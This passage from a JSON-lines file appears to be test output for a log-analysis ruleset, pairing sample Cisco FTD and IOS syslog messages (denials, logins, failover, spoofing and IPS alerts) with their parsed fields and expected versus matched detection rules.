"expected_decoder": "cisco-ftd", "expected_rule": "91502", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Critical severity alert"} +{"log": "%FTD-3-106010: Deny inbound protocol src [interface_name: 192.168.1.59/source_port] [([idfw_user | FQDN_string], sg_info)] dst [interface_name: 192.168.1.59/dest_port}[([idfw_user | FQDN_string], sg_info)]", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106010", "event.severity": "3", "message": "Deny inbound protocol src [interface_name: 192.168.1.59/source_port] [([idfw_user | FQDN_string], sg_info)] dst [interface_name: 192.168.1.59/dest_port}[([idfw_user | FQDN_string], sg_info)]", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91503", "level": "4", "expected_decoder": "cisco-ftd", "expected_rule": "91503", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Error alert"} +{"log": "%FTD-3-106011: Deny inbound (No xlate) string", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106011", "event.severity": "3", "message": "Deny inbound (No xlate) string", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91503", "level": "4", "expected_decoder": "cisco-ftd", "expected_rule": "91503", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Error alert"} +{"log": "%FTD-4-106023: Deny tcp src inside:111.11.11.1/2143 dst YYY:172.11.1.11/139 by access-group \"inside_inbound\"", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"action": "Deny", "dstip": "172.11.1.11", "dstport": "139", "event.id": "106023", "event.severity": "4", "message": "Deny tcp src inside:111.11.11.1/2143 dst YYY:172.11.1.11/139", "product.name": "FTD", "protocol": "tcp", "srcip": "111.11.11.1", "srcport": "2143"}, "field_names": ["action", "dstip", "dstport", "event.id", "event.severity", "message", "product.name", "protocol", "srcip", "srcport"], "rule": "91504", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91504", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Warning alert"} +{"log": "%FTD-4-106027: Deny src [source address] dst [destination address] by access-group \"access-list name\".", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106027", "event.severity": "4", "message": "Deny src [source address] dst [destination address] by access-group \"access-list name\".", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91504", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91504", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Warning alert"} +{"log": "%FTD-5-106029: New reverse carrier : to : overshadows existing : to :", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106029", "event.severity": "5", "message": "New reverse carrier : to : overshadows existing : to :", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91505", "level": "2", "expected_decoder": "cisco-ftd", "expected_rule": "91505", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Notification alerts"} +{"log": "%FTD-5-109012: Authen Session End: user 'user', sid number, elapsed number seconds", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "109012", "event.severity": "5", "message": "Authen Session End: user 'user', sid number, elapsed number seconds", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91505", "level": "2", "expected_decoder": "cisco-ftd", "expected_rule": "91505", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Notification alerts"} +{"log": "%FTD-6-106015: Deny TCP (no connection) from 192.168.1.59/port to 192.168.1.59/port flags tcp_flags on interface interface_name.", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"action": "Deny", "dstip": "192.168.1.59", "dstport": "port", "event.id": "106015", "event.severity": "6", "flags": "tcp_flags", "interface": "interface_name.", "message": "Deny TCP (no connection) from 192.168.1.59/port to 192.168.1.59/port flags tcp_flags on interface interface_name.", "product.name": "FTD", "protocol": "TCP", "srcip": "192.168.1.59", "srcport": "port"}, "field_names": ["action", "dstip", "dstport", "event.id", "event.severity", "flags", "interface", "message", "product.name", "protocol", "srcip", "srcport"], "rule": "91505", "level": "2", "expected_decoder": "cisco-ftd", "expected_rule": "91505", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Notification alerts"} +{"log": "%FTD-6-106100: access-list acl_ID {permitted | denied | est-allowed} protocol interface_name/192.168.1.59(source_port)(idfw_user, sg_info) interface_name/192.168.1.59(dest_port) (idfw_user, sg_info) hit-cnt number ({first hit | number-second interval})", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106100", "event.severity": "6", "message": "access-list acl_ID {permitted | denied | est-allowed} protocol interface_name/192.168.1.59(source_port)(idfw_user, sg_info) interface_name/192.168.1.59(dest_port) (idfw_user, sg_info) hit-cnt number ({first hit | number-second interval})", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91505", "level": "2", "expected_decoder": "cisco-ftd", "expected_rule": "91505", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Notification alerts"} +{"log": "%FTD-7-113028: Extraction of username from VPN client certificate has string. [Request num]", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "113028", "event.severity": "7", "message": "Extraction of username from VPN client certificate has string. [Request num]", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91506", "level": "0", "expected_decoder": "cisco-ftd", "expected_rule": "91506", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Debugging alerts"} +{"log": "%FTD-7-199019: syslog", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "199019", "event.severity": "7", "message": "syslog", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91506", "level": "0", "expected_decoder": "cisco-ftd", "expected_rule": "91506", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Debugging alerts"} +{"log": "%FTD-6-605004: Login denied from source-address/source-port to interface:destination/service for user \"username\"", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"action": "denied", "dstip": "destination", "dstport": "service", "dstuser": "username", "event.id": "605004", "event.severity": "6", "interface": "interface", "message": "Login denied from source-address/source-port to interface:destination/service for user \"username\"", "product.name": "FTD", "srcip": "source-address", "srcport": "source-port"}, "field_names": ["action", "dstip", "dstport", "dstuser", "event.id", "event.severity", "interface", "message", "product.name", "srcip", "srcport"], "rule": "91507", "level": "9", "expected_decoder": "cisco-ftd", "expected_rule": "91507", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Failed login attempt"} +{"log": "%FTD-5-502103: User priv level changed: Uname: user From: privilege_level To: privilege_level", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"description": "User priv level changed", "event.id": "502103", "event.severity": "5", "from_level": "privilege_level", "message": "User priv level changed: Uname: user From: privilege_level To: privilege_level", "product.name": "FTD", "to_level": "privilege_level", "username": "user"}, "field_names": ["description", "event.id", "event.severity", "from_level", "message", "product.name", "to_level", "username"], "rule": "91508", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91508", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: User privilege changed"} +{"log": "%FTD-6-605005: Login permitted from source-address/source-port to interface:destination/service for user \"username\"", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"action": "permitted", "dstip": "destination", "dstport": "service", "dstuser": "username", "event.id": "605005", "event.severity": "6", "interface": "interface", "message": "Login permitted from source-address/source-port to interface:destination/service for user \"username\"", "product.name": "FTD", "srcip": "source-address", "srcport": "source-port"}, "field_names": ["action", "dstip", "dstport", "dstuser", "event.id", "event.severity", "interface", "message", "product.name", "srcip", "srcport"], "rule": "91509", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91509", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Successful login"} +{"log": "%FTD-4-405001: Received ARP {request | response} collision from 192.168.1.59/MAC_address on interface interface_name to 192.168.1.59/MAC_address on interface interface_name", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"description": "Received ARP {request | response} collision", "event.id": "405001", "event.severity": "4", "existing_arp": "192.168.1.59", "interface": "interface_name", "message": "Received ARP {request | response} collision from 192.168.1.59/MAC_address on interface interface_name to 192.168.1.59/MAC_address on interface interface_name", "new_arp": "MAC_address", "product.name": "FTD", "src_ip": "192.168.1.59"}, "field_names": ["description", "event.id", "event.severity", "existing_arp", "interface", "message", "new_arp", "product.name", "src_ip"], "rule": "91510", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91510", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: ARP collision detected"} +{"log": "%FTD-4-401004: Shunned packet: 192.168.1.59 = 192.168.1.59 on interface interface_name", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"dstip": "192.168.1.59", "event.id": "401004", "event.severity": "4", "message": "Shunned packet: 192.168.1.59 = 192.168.1.59 on interface interface_name", "product.name": "FTD", "srcip": "192.168.1.59"}, "field_names": ["dstip", "event.id", "event.severity", "message", "product.name", "srcip"], "rule": "91511", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91511", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Attempt to connect from a blocked IP"} +{"log": "%FTD-7-710004: TCP connection limit exceeded from Src_ip/Src_port to In_name:Dest_ip/Dest_port (current connections/connection limit = Curr_conn/Conn_lmt)", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "710004", "event.severity": "7", "message": "TCP connection limit exceeded from Src_ip/Src_port to In_name:Dest_ip/Dest_port (current connections/connection limit = Curr_conn/Conn_lmt)", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91512", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91512", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Connection limit exceeded"} +{"log": "%FTD-6-106012: Deny IP from 192.168.1.59 to 192.168.1.59, IP options hex.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106012", "event.severity": "6", "message": "Deny IP from 192.168.1.59 to 192.168.1.59, IP options hex.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91515", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91515", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Attack in progress detected"} +{"log": "%FTD-1-106022: Deny protocol connection spoof from 192.168.1.59 to 192.168.1.59 on interface interface_name", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"event.id": "106022", "event.severity": "1", "message": "Deny protocol connection spoof from 192.168.1.59", "product.name": "FTD", "srcip": "192.168.1.59"}, "field_names": ["event.id", "event.severity", "message", "product.name", "srcip"], "rule": "91515", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91515", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Attack in progress detected"} +{"log": "%FTD-1-106021: Deny protocol reverse path check from 192.168.1.59 to 192.168.1.59 on interface interface_name", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"event.id": "106021", "event.severity": "1", "message": "Deny protocol reverse path check from 192.168.1.59", "product.name": "FTD", "srcip": "192.168.1.59"}, "field_names": ["event.id", "event.severity", "message", "product.name", "srcip"], "rule": "91515", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91515", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Attack in progress detected"} +{"log": "%FTD-2-106017: Deny IP due to Land Attack from 192.168.1.59 to 192.168.1.59", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"description": "Deny IP due to Land Attack", "dstip": "192.168.1.59", "event.id": "106017", "event.severity": "2", "message": "Deny IP due to Land Attack from 192.168.1.59 to 192.168.1.59", "product.name": "FTD", "srcip": "192.168.1.59"}, "field_names": ["description", "dstip", "event.id", "event.severity", "message", "product.name", "srcip"], "rule": "91515", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91515", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Attack in progress detected"} +{"log": "%FTD-2-106020: Deny IP teardrop fragment (size = number, offset = number) from 192.168.1.59 to 192.168.1.59", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"description": "Deny IP teardrop fragment", "dst": "192.168.1.59", "event.id": "106020", "event.severity": "2", "message": "Deny IP teardrop fragment (size = number, offset = number) from 192.168.1.59 to 192.168.1.59", "offset": "number", "product.name": "FTD", "size": "number", "src": "192.168.1.59"}, "field_names": ["description", "dst", "event.id", "event.severity", "message", "offset", "product.name", "size", "src"], "rule": "91515", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91515", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Attack in progress detected"} +{"log": "%FTD-6-113005: AAA user authentication Rejected: reason = string: server = server_192.168.1.59, User = user: user IP = user_ip", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "113005", "event.severity": "6", "message": "AAA user authentication Rejected: reason = string: server = server_192.168.1.59, User = user: user IP = user_ip", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91516", "level": "5", "expected_decoder": "cisco-ftd", "expected_rule": "91516", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: AAA (VPN) authentication failed"} +{"log": "%FTD-6-113004: AAA user aaa_type Successful: server = server_192.168.1.59, User = user", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "113004", "event.severity": "6", "message": "AAA user aaa_type Successful: server = server_192.168.1.59, User = user", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91517", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91517", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: AAA (VPN) authentication successful"} +{"log": "%FTD-6-113006: User user locked out on exceeding number successive failed authentication attempts", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "113006", "event.severity": "6", "message": "User user locked out on exceeding number successive failed authentication attempts", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91518", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91518", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: AAA (VPN) user locked out"} +{"log": "%FTD-3-201008: Disallowing new connections.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "201008", "event.severity": "3", "message": "Disallowing new connections.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91519", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91519", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Disallowing new connections"} +{"log": "%FTD-1-105005: (Primary) Lost Failover communications with mate on interface interface_name.", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"description": "(Primary) Lost Failover communications with mate on", "event.id": "105005", "event.severity": "1", "interface": "interface_name.", "message": "(Primary) Lost Failover communications with mate on interface interface_name.", "product.name": "FTD"}, "field_names": ["description", "event.id", "event.severity", "interface", "message", "product.name"], "rule": "91520", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91520", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall failover pair communication problem"} +{"log": "%FTD-1-105009: (Primary) Testing on interface interface_name {Passed|Failed}.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "105009", "event.severity": "1", "message": "(Primary) Testing on interface interface_name {Passed|Failed}.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91520", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91520", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall failover pair communication problem"} +{"log": "%FTD-1-105043: (Primary) Failover interface failed", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "105043", "event.severity": "1", "message": "(Primary) Failover interface failed", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91520", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91520", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall failover pair communication problem"} +{"log": "%FTD-5-111003: 192.168.1.59 Erase configuration", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "111003", "event.severity": "5", "message": "192.168.1.59 Erase configuration", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91521", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91521", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall configuration deleted"} +{"log": "%FTD-5-111002: Begin configuration: 192.168.1.59 reading from device", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "111002", "event.severity": "5", "message": "Begin configuration: 192.168.1.59 reading from device", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91522", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91522", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall configuration changed"} +{"log": "%FTD-5-111004: 192.168.1.59 end configuration: {FAILED|OK}", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "111004", "event.severity": "5", "message": "192.168.1.59 end configuration: {FAILED|OK}", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91522", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91522", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall configuration changed"} +{"log": "%FTD-5-111005: 192.168.1.59 end configuration: OK", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "111005", "event.severity": "5", "message": "192.168.1.59 end configuration: OK", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91522", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91522", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall configuration changed"} +{"log": "%FTD-5-111007: Begin configuration: 192.168.1.59 reading from device.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "111007", "event.severity": "5", "message": "Begin configuration: 192.168.1.59 reading from device.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91522", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91522", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall configuration changed"} +{"log": "%FTD-5-111008: User user executed the command string", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"command": "command string", "event.id": "111008", "event.severity": "5", "message": "User user executed the command string", "product.name": "FTD", "type": "executed", "username": "user"}, "field_names": ["command", "event.id", "event.severity", "message", "product.name", "type", "username"], "rule": "91523", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91523", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall command executed (for accounting only)"} +{"log": "%FTD-7-111009: User user executed cmd:string", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "111009", "event.severity": "7", "message": "User user executed cmd:string", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91524", "level": "3", "expected_decoder": "cisco-ftd", "expected_rule": "91524", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Firewall command executed (for accounting)"} +{"log": "%FTD-5-502101: New user added to local dbase: Uname: user Priv: privilege_level Encpass: string", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "502101", "event.severity": "5", "message": "New user added to local dbase: Uname: user Priv: privilege_level Encpass: string", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91525", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91525", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: User created or modified on the Firewall"} +{"log": "%FTD-5-502102: User deleted from local dbase: Uname: user Priv: privilege_level Encpass: string", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "502102", "event.severity": "5", "message": "User deleted from local dbase: Uname: user Priv: privilege_level Encpass: string", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91525", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91525", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: User created or modified on the Firewall"} +{"log": "%FTD-2-106016: Deny IP spoof from (192.168.1.59) to 192.168.1.59 on interface interface_name.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106016", "event.severity": "2", "message": "Deny IP spoof from (192.168.1.59) to 192.168.1.59 on interface interface_name.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91530", "level": "8", "expected_decoder": "cisco-ftd", "expected_rule": "91530", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: IP spoofing attack detected"} +{"log": "Sep 1 10:25:29 10.10.10.1 %IPS-4-SIGNATURE: Sig:3051 Subsig:1 Sev:4 TCP Connection Window Size DoS [192.168.100.11:51654 -> 10.10.10.10:4444]", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"ftscomment": "First time Cisco IOS IDS/IPS module rule fired.", "cisco.facility": "IPS", "cisco.mnemonic": "SIGNATURE", "cisco.severity": "4", "dstip": "10.10.10.10", "dstport": "4444", "id": "3051", "srcip": "192.168.100.11", "srcport": "51654"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "ftscomment", "id", "srcip", "srcport"], "rule": "20100", "level": "8", "expected_decoder": "cisco-ios", "expected_rule": "20100", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios ids: sig"} +{"log": "Sep 1 10:25:29 10.10.10.1 %IPS-4-SIGNATURE: Sig:3051 Subsig:1 Sev:4 TCP Connection Window Size DoS [192.168.100.11:60797 -> 10.10.10.10:80]", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"ftscomment": "First time Cisco IOS IDS/IPS module rule fired.", "cisco.facility": "IPS", "cisco.mnemonic": "SIGNATURE", "cisco.severity": "4", "dstip": "10.10.10.10", "dstport": "80", "id": "3051", "srcip": "192.168.100.11", "srcport": "60797"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "ftscomment", "id", "srcip", "srcport"], "rule": "20101", "level": "6", "expected_decoder": "cisco-ios", "expected_rule": "20100", "rule_matches_expected": false, "ini_file": "cisco_ios.ini", "section": "cisco ios ids: sig"} +{"log": "Sep 1 10:25:29 10.10.10.1 %IPS-4-SIGNATURE: Sig:5123 Subsig:2 Sev:5 WWW IIS Internet Printing Overflow [192.168.100.11:60797 -> 10.10.10.10:80]", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"ftscomment": "First time Cisco IOS IDS/IPS module rule fired.", "cisco.facility": "IPS", "cisco.mnemonic": "SIGNATURE", "cisco.severity": "4", "dstip": "10.10.10.10", "dstport": "80", "id": "5123", "srcip": "192.168.100.11", "srcport": "60797"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "ftscomment", "id", "srcip", "srcport"], "rule": "20100", "level": "8", "expected_decoder": "cisco-ios", "expected_rule": "20100", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios ids: sig"} +{"log": "Sep 1 10:25:29 10.10.10.1 %SEC-6-IPACCESSLOGP: list 102 denied tcp 10.0.6.56(3067) -> 172.36.4.7(139), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"action": "denied", "cisco.facility": "SEC", "cisco.mnemonic": "IPACCESSLOGP", "cisco.severity": "6", "dstip": "172.36.4.7", "dstport": "139", "protocol": "tcp", "srcip": "10.0.6.56", "srcport": "3067"}, "field_names": ["action", "cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4716", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4716", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: acl "} +{"log": "Sep 1 10:25:29 10.10.10.1 %SEC-6-IPACCESSLOGP: list 199 denied tcp 10.0.61.108(1477) -> 10.0.127.20(445), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"action": "denied", "cisco.facility": "SEC", "cisco.mnemonic": "IPACCESSLOGP", "cisco.severity": "6", "dstip": "10.0.127.20", "dstport": "445", "protocol": "tcp", "srcip": "10.0.61.108", "srcport": "1477"}, "field_names": ["action", "cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4716", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4716", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: acl "} +{"log": "3924923: *Oct 6 03:32:04.114 gmt: %SEC-6-IPACCESSLOGP: list bcv_out denied tcp 10.0.3.100(50150) -> 192.168.216.1(443), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"action": "denied", "cisco.facility": "SEC", "cisco.mnemonic": "IPACCESSLOGP", "cisco.severity": "6", "dstip": "192.168.216.1", "dstport": "443", "protocol": "tcp", "srcip": "10.0.3.100", "srcport": "50150"}, "field_names": ["action", "cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4716", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4716", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: acl "} +{"log": "3924923: *Oct 6 03:32:04 mng: %SEC-6-IPACCESSLOGP: list 1111 denied tcp 10.0.3.100(50150) (Serial4/3 ) -> 192.168.216.1(443), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"action": "denied", "cisco.facility": "SEC", "cisco.mnemonic": "IPACCESSLOGP", "cisco.severity": "6", "dstip": "192.168.216.1", "dstport": "443", "protocol": "tcp", "srcip": "10.0.3.100", "srcport": "50150"}, "field_names": ["action", "cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4716", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4716", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: acl "} +{"log": "681: Aug 17 17:41:24.776 AEST: %SEC-6-IPACCESSLOGP: list 102 denied tcp 10.0.6.56(3067) -> 172.36.4.7(139), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {"action": "denied", "cisco.facility": "SEC", "cisco.mnemonic": "IPACCESSLOGP", "cisco.severity": "6", "dstip": "172.36.4.7", "dstport": "139", "protocol": "tcp", "srcip": "10.0.6.56", "srcport": "3067"}, "field_names": ["action", "cisco.facility", "cisco.mnemonic", "cisco.severity", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4716", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4716", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: acl "} +{"log": "4425: Aug 23 00:17:55.356: %SSH-5-SSH2_SESSION: SSH2 Session request from x.x.x.x (tty = 0) using crypto cipher 'aes-111-sdf0', hmac 'hmac-sha1' Succeeded", "decoder": "cisco-ios", "parent": "", "fields": {"cisco.facility": "SSH", "cisco.mnemonic": "SSH2_SESSION", "cisco.severity": "5"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity"], "rule": "4715", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4715", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: cisco switch"} +{"log": "4423: Aug 23 00:16:18.200: %SSH-5-SSH2_USERAUTH: User 'user' authentication for SSH2 Session from x.x.x.x (tty = 0) using crypto cipher 'aes111-sdf0', hmac 'hmac-sha1' Succeeded", "decoder": "cisco-ios", "parent": "", "fields": {"cisco.facility": "SSH", "cisco.mnemonic": "SSH2_USERAUTH", "cisco.severity": "5"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity"], "rule": "4715", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4715", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: cisco switch"} +{"log": "Apr 30 15:10:58: %DOT1X-5-FAIL: Authentication failed for client (Unknown MAC) on Interface Fa0/3 AuditSessionID`", "decoder": "cisco-ios", "parent": "", "fields": {"cisco.facility": "DOT1X", "cisco.mnemonic": "FAIL", "cisco.severity": "5"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity"], "rule": "4715", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4715", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: cisco switch"} +{"log": "2019 May 06 09:28:12 vm-ubuntu16->10.0.0.16 May 6 07:28:11 vm-ubuntu16 fortinet Apr 30 15:10:58: %DOT1X-5-FAIL: Authentication failed for client (Unknown MAC) on Interface Fa0/3 AuditSessionID", "decoder": "cisco-ios", "parent": "", "fields": {"cisco.facility": "DOT1X", "cisco.mnemonic": "FAIL", "cisco.severity": "5"}, "field_names": ["cisco.facility", 